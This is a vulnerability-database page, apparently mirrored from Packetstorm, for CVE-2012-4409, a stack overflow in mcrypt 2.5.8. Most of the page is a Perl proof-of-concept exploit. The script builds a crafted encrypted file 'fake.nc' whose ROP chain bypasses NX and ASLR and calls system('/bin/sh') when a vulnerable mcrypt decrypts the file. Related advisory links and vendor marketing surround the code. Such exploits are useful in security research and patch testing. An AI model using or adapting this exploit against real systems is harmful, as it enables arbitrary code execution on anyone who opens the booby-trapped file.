Lucene search
K

mcrypt 2.5.8 Stack Based Overflow

🗓️ 26 Nov 2012 00:00:00Reported by ToshType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 72 Views

mcrypt 2.5.8 Stack Based Overflow, bypasses NX and ASLR protections, vulnerable to crafted crypted file execution, exploit script available for arbitrary code executio

Related
Code
ReporterTitlePublishedViews
Family
0day.today
mcrypt <= 2.5.8 STACK based overflow Vulnerability
24 Nov 201200:00
zdt
Circl
CVE-2012-4409
26 Nov 201200:00
circl
CVE
CVE-2012-4409
21 Nov 201223:00
cve
Cvelist
CVE-2012-4409
21 Nov 201223:00
cvelist
Debian CVE
CVE-2012-4409
21 Nov 201223:00
debiancve
Exploit DB
mcrypt 2.5.8 - Local Stack Overflow
26 Nov 201200:00
exploitdb
exploitpack
mcrypt 2.5.8 - Local Stack Overflow
26 Nov 201200:00
exploitpack
Fedora
[SECURITY] Fedora 18 Update: mcrypt-2.6.8-9.fc18
17 Sep 201222:15
fedora
Fedora
[SECURITY] Fedora 16 Update: mcrypt-2.6.8-10.fc16
8 Nov 201201:52
fedora
Fedora
[SECURITY] Fedora 16 Update: mcrypt-2.6.8-9.fc16
19 Sep 201203:11
fedora
Rows per page
`#!/usr/bin/perl  
  
# Title : mcrypt <= 2.5.8 STACK based overflow  
# Date : 23/11/2012  
# Exploit Author : Tosh  
# CVE : CVE-2012-4409  
# Patch : http://www.openwall.com/lists/oss-security/2012/09/06/8  
# Tested on : Archlinux 3.6.6-1, without SSP  
  
  
# This script exploit a stack based overflow in mcrypt <= 2.5.8.  
# It bypass NX and ASLR protections, but no SSP.  
  
# This exploit craft a crypted file and arbitrary code may be executed if the file is decrypted with a vulnerable version  
# of mcrypt. The vulnerable function is check_file_head(), present in src/extra.c. See the CVE details or the patch for more  
# informations.  
  
# Payload must be adjusted on others plateforms, here is just a Proof of Concept :)  
  
use strict;  
use warnings;  
  
my $filename = 'fake.nc';  
  
my $file;  
my $payload;  
  
print "[+] Build payload.\n";  
$payload = payload();  
  
print "[+] Build file.\n";  
$file = build_file($payload);  
  
print "[+] Writing $filename.\n";  
write_file();  
  
print "[+] DONE.\n";  
  
sub write_file {  
die("[-] Can't open $filename : $!\n") unless(open F, '>', $filename);  
print F $file;  
close F;  
}  
  
sub build_file {  
# magic  
$file .= "\x00m\x03";  
  
# flags  
$file .= pack('C', 1 << 6);  
  
# algorithm  
$file .= "H\@Ck3d\x00";  
  
# keysize  
$file .= pack('S', 0xdead);  
  
# mode  
$file .= "h\@cK3d\x00";  
  
# keymode  
$file .= "H\@CK3D\x00";  
  
# sflags  
$file .= "\xff";  
  
# payload  
$file .= $_[0];  
  
return $file;  
}  
  
sub payload {  
my $saved_eip_off = 0x71; # Buffer len for overwrite saved EIP  
my $v_local_1 = 0x0805b000; # Local variable 1 overwriten  
my $v_local_2 = 0x08048007; # Local variable 2 overwriten  
my $ret_sled = 5; # Offset between saved EIP and local variables  
my $strcpy_plt = 0x080499f0; # strcpy@plt address  
my $fopen64_got = 0x0805b1c8; # fopen64 got entry  
my $system_off = 0xfffd6b30; # fopen64 - system  
my $w_mem = 0x0805b000; # writable memory, without ASLR  
  
my $pop2_ret = 0x08055a63; # pop; pop; ret  
my $ret = 0x0805a5ed; # ret  
my $pop_ebx = 0x08056186; # pop ebx; ret  
my $pop_edi = 0x08053460; # pop edi; ret  
my $xchg_eax = 0x080517a4; # xchg eax, edi; ret  
my $add_eax = 0x0804dabf; # add eax,[ebx-0x2776e73c]; pop ebx; ret  
my $call_eax = 0x0804b357; # call eax; leave; ret  
  
my $payload;  
  
$payload .= "A"x$saved_eip_off;  
$payload .= pack('L', $ret) x $ret_sled;  
$payload .= pack('L', $pop2_ret);  
$payload .= pack('L', $v_local_1);  
$payload .= pack('L', $v_local_2);  
  
# Copy "/bin/" in +W memory  
$payload .= pack('L', $strcpy_plt);  
$payload .= pack('L', $pop2_ret);  
$payload .= pack('L', $w_mem + 0x00);  
$payload .= pack('L', 0x08057fc2);  
  
# Copy "sh" + "\x00" in +W memory  
$payload .= pack('L', $strcpy_plt);  
$payload .= pack('L', $pop2_ret);  
$payload .= pack('L', $w_mem + 0x05);  
$payload .= pack('L', 0x08048bab);  
  
# Calc system() address with fopen64 GOT entry  
$payload .= pack('L', $pop_ebx);  
$payload .= pack('L', $fopen64_got + 0x2776e73c);  
  
$payload .= pack('L', $pop_edi);  
$payload .= pack('L', $system_off);  
  
$payload .= pack('L', $xchg_eax);  
  
$payload .= pack('L', $add_eax);  
$payload .= "HaCk";  
  
# Call system("/bin/sh")  
$payload .= pack('L', $call_eax);  
$payload .= pack('L', $w_mem);  
  
die("[-] Payload too long !\n") if(length $payload > 0xfe);  
return $payload;  
}  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation